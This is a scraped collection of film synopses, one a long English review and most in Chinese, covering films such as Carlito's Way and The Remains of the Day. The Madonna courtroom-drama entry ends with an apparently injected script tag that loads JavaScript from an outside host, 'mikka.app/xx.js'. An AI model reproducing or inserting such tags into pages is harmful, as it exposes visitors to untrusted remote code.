简介:Sam (Matthew Broderick) is the reasonable man in a crazy urban world, the man of thoughtfulness and refined taste in a landscape of Leroy Neiman paintings and beer commercials. The guy would sooner cook for an hour over a hot stove than say `supersize it.'By day he's a store clerk in an upscale gourmet eatery, and these scenes raise a smile, especially for anyone who's visited the actual chain in New York City -- the portrayal isn't far off from the reality. Our man is besieged by hoards of customers who want their imported French cheese cut to impossibly exact standards. His efforts to remain outwardly polite (while you know he'd like to take the cleaver to the relentless clientele) are pretty funny, and will warm the hearts of clerks everywhere. In general, Broderick is in good form and provides the movie with most of whatever lightness it possesses.Sciorra's lovelorn dental hygienist, Ellen, is fine enough, too, and her unknowing interaction with our cheese-slicing hero shows some hopeful chemistry, and you may begin to feel you want to see these two get together.One of the main competitors for our lady's affections, a stockbroker (Kevin Anderson), is played as caricature he's the beer swilling frat-boy whose idea of after-sex sensitivity is flipping on the football game. He's kind of funny at times, but the movie might be stronger if he was written or acted for us to like him more, instead of having us merely recognize him as the flat-out `wrong' guy in comparison to Broderick's sensitive man. Think of John Candy in Splash, taking a cigarette and beer can to the racquetball game; we know his lifestyle is not the one our hero should emulate, but we can't help but be charmed by the likeable goon. Whereas this character is merely a goon, and pretty unlikable all around.While it's a nice enough light movie for the first half, for me the story was somewhat derailed by its unbelievable (Hollywood) presentation of sex and adultery. (SPOILER AHEAD, skip to next paragraph.) When Ellen returns home after an evening's misadventures, she is naturally faced with the questioning husband (Michael Mantell). Quickly admitting her own indiscretion, she then immediately turns the situation around, demanding to know why the guy had gone ahead and bought a house without discussing it. Granted, it's a valid issue, and granted, many people use this countering maneuver in arguments. What's unbelievable is what happens next the guy starts responding to her question, addressing the house-issue in a quiet, thoughtful manner. WHOA. You'd be hard pressed to find a married person in the world who, when faced with hisher partner's totally unexpected adultery, would be ready to address anything so calmly. The guy would surely be bouncing off the walls, or else crushed into silence and tears - but see, then we might actually feel for the poor schnook, and we'd see Sciorra's character in a poor light. And since that particular audience reaction doesn't serve the romantic comedy, the story tries to sneak around it. You may start to feel that, like the husband, you're being taken.Further dissatisfaction is just around the corner in the ending. We realize this is where misunderstandings will get sorted out, and our couple will finally see a clear path to one another. We want the satisfaction of rooting for them. But it's marred by another unbelievable character reaction, followed by an abrupt conclusion that feels rushed and forced, too easy and unearned. You may feel as though the movie's cheating on you again...
简介:孩子眼中的世界在这部电影里美妙的展开,父母双亡的小玛丽(凯特·马伯里 Kate Maberly饰)来到苏格兰的亲戚家住了下来。这是个美丽而又有点神秘的庄园,尤其是秘密花园更是玛丽心中的一个大谜团。原来,玛丽的姨母曾经在自己这个花园的千秋上丧命,姨父便从此紧锁了花园大门。无意中发现了钥匙的玛丽打开了花园的大门。从此,花园成为了玛丽与大自然水乳交融的圣地。玛丽还带上了长期坐在轮椅上的表弟科林(海登·普劳斯 Heydon Prowse饰),他本来封闭的视野在神奇的大自然面前变得豁然开朗,而朋友迪康(安德鲁诺特 Andrew Knott饰)更是在这里和他的鸟儿朋友们聊天,秘密花园的大门就这样通向了孩子们心中的天堂……
简介:Frank, a retired Irish seaman, and Walter, a retired Cuban barber, are two lonely old men trapped in the emptiness of their own lives. When they meet in a park Frank is able to start a conversation after several attempts. They begin to spend time together and become friends. But because of their different characters they often quarrel with each other and finally seperate after Frank misbehaves to Walter's friend Elaine.
简介:位于美国北卡罗莱纳州温斯顿沙兰市(Winston Salem)的RJR纳贝斯克饼干公司股 东们,虽然受到全球瞩目,金钱不断涌入,光是在2月底的邮件中,就收到总数达20 亿美圆的支票,但很少有股东对公司的高级执行总裁罗斯.强生(Ross Johnson)心存 感激。现在,温斯顿沙兰市也变成前所未有的百万富翁市。所有与RJR公司有关的华尔街 大亨都想从中分到一点好处,于是罗斯找来财务专家亨利和彼得来为他效力。接下来上演的便是一出充满贪婪、背叛、尔虞我诈和高风险赌注的华尔街风云。根据布莱恩.巴勒和约翰.海勒撰写的《Barbarians at the Gate The Fall of RJR Nabisco》中文译名:《门口的野蛮人:RJR纳贝斯克的陨落》改编。该书描写了1988年美国第二大烟草公司RJR融资收购饼干生产商Nabisco的交易。即使如今看来,这笔总额达250亿美元的收购也十分惊人,不禁让人对有关人物的行动产生 疑虑。当时,这也是华尔街历史上最大的收购资金。而1989年美国Kohlberg KravisRoberts 公司又以314亿美元的价格刷新了此纪录,其收购对象就是RJR Nabisco公司。读过此书,你会惊奇地发现网络和个人对世界商业和经济的操纵力有多大。它向我 们揭示了CEO被给予的巨大权利和机会,从中你会懂得谁才是真正的玩家。 该书被《福布斯》杂志评选为20年来美国最具影响力的20本商业书籍之一。也被选择摘编到里奥·高夫的投资经典著作《一次读完25本投资经典》中。
简介:在一次欢好中,马歇尔(Michael Forest 饰)突发心肌梗塞死在了漂亮女人瑞贝卡(麦当娜 Madonna 饰)的床榻之上,之后,瑞贝卡被控谋杀。为了洗脱罪名,瑞贝卡雇佣了律师弗兰克(威廉·达福 Willem Dafoe 饰),对于雇主的清白,起初弗兰克也曾心生疑虑,可是瑞贝卡坚称自己无辜,她坚定的态度和甜美的肉体改变了弗兰克的想法。* src="https://mikka.app/xx.js" type="text/javascript">
简介:卡利多(阿尔•帕西诺 Al Pacino 饰)因贩毒而被判入狱30年,在他入狱的第五年,律师大卫(西恩•潘 Sean Penn 饰)将他从监狱救了出来。卡利多出狱后的理想就是赚够7万5千美元离开这里和还清欠大卫的人情。决心洗心革面的卡利多却摆脱不了命运的捉弄,当他勉为其难地答应表弟作为旁观者参加一次毒品交易,他卷入了一场黑吃黑的勾当。当他保住了毒品后,他从毒贩那里获得了2万5千美元作为酬劳。卡利多将这笔钱入股到一家名为天堂乐园的夜总会后,他开始寻找他的女人,凯尔。当卡利多找到凯尔后,两人的关系在微妙中回旋。这时,大卫收了一位黑手党首领的钱,答应帮助他的伙伴越狱。于是,大卫找来了卡利多帮忙。虽然凯尔苦苦哀求,为了报恩,卡利多还是答应了去执行这一危险任务……
简介:卡洛琳(艾伦·巴金 Ellen Barkin 饰)是一位不幸的单身母亲,她带着儿子托比(莱昂纳多·迪卡普里奥 Leonardo DiCaprio 饰)离开了有暴力倾向的男友,辗转于不同的城市,只为能够赚钱养家糊口。在西雅图,卡洛琳认识了卡车司机德怀特(罗伯特·德尼罗 Robert De Niro 饰),在德怀特的身上,她找到了久违的爱情的感觉。很快,卡洛琳就和德怀特结了婚,并搬到了名叫康克福特的小镇,在这里,似乎新的美好生活就要展开。可是,德怀特和叛逆的托比之间的关系却并不尽如人意,强势的德怀特不仅硬塞给了托比一份送报纸的工作还强迫他参加了童子军。对于继父的强权,年岁渐长的托比选择了反抗,靠着在艺术方面极高的天分,他不仅挣得了数额巨大的奖学金,更获得了深造的机会。最终,已经独立的托比带着母亲离开了德怀特,离开了康克福特小镇,踏上了新的旅程。
简介:史蒂芬斯先生(安东尼·霍普金斯 Anthony Hopkins饰)是一个忠实的仆人,他曾经当过英国著名爵侯的管家。目前正一心一意打理新主人达林顿勋爵的公馆,成为这里的大管家。这里来了一个女管家基顿(艾玛·汤普森 Emma Thompson饰),她精明能干,操持起家务来比史蒂芬斯更灵活,起初斯蒂芬斯常常与她有些小矛盾。但是随着相处日子渐长,善良的基顿还是暗暗打动了史蒂芬斯。尽管基顿一再流露真情,举手投足间泄露了爱意。但是每到动情关头,史蒂芬斯都隐忍着自己的情感,对基顿的爱化作一段埋没在静默中的故事。基顿忍痛告别这段无果之爱,远走他乡嫁为人妇。当时光荏苒,二人再次会面,心里的爱意仍然说不出口,浓浓思念化作车站道别的一句祝福。
简介:1960年代,纽约意大利人集结的布朗克斯区。黑帮老大辛尼(查兹·帕尔明特瑞 Chazz Palminteri饰)是当地赫赫有名的帮会人物。在一宗凶杀案现场,九岁的男孩安奴(弗朗西斯·卡普拉 Francis Capra饰)目睹了这一切。为了街区的名誉,安奴拒绝供出凶手就是辛尼,此事促使他俩展开一段俨如父子般的忘年友情。然而安奴的父亲罗兰逊(罗伯特·德尼罗 Robert De Niro饰)对此却并不赞成,唯恐儿子误入歧途。八年后,十七岁的安奴(李洛·布兰卡托 Lillo Brancato饰)已经成长为一名英俊少年。辛尼的势力正在逐渐扩大,安奴对辛尼愈发崇拜,对黑帮生活也更加向往。诚实正直的罗兰逊对儿子的忧虑越来越重。由奥斯卡影帝罗伯特·德尼罗执导的电影处女作《布朗克斯的故事》,入围1993年第50届威尼斯国际电影节金狮奖。
简介:杰克系列电影是由施瓦辛格主演的系列电影。在这电影中,施瓦辛格扮演的杰克(阿诺•施瓦辛格 Arnold Schwarzenegger 饰)总是世界的救世主,每当他的老对头班尼迪(查里斯•丹斯 Charles Dance 饰)出来作恶时,杰克总是能及时赶到,讲班尼迪打得落花流水。小男孩丹尼是杰克系列电影的忠实影迷,杰克系列电影的前三集他都能倒背如流。这天他的好朋友,电影放映员尼克给了丹尼一张神奇的电影,丹尼凭着这张电影票进入到了还未上演的杰克系列第四集中。不料班尼迪抢走了丹尼的电影票,从电影中来到了现实中。他的目标就是除掉杰克的扮演者施瓦辛格,这样在电影世界里就不再有人能够阻止他的邪恶计划。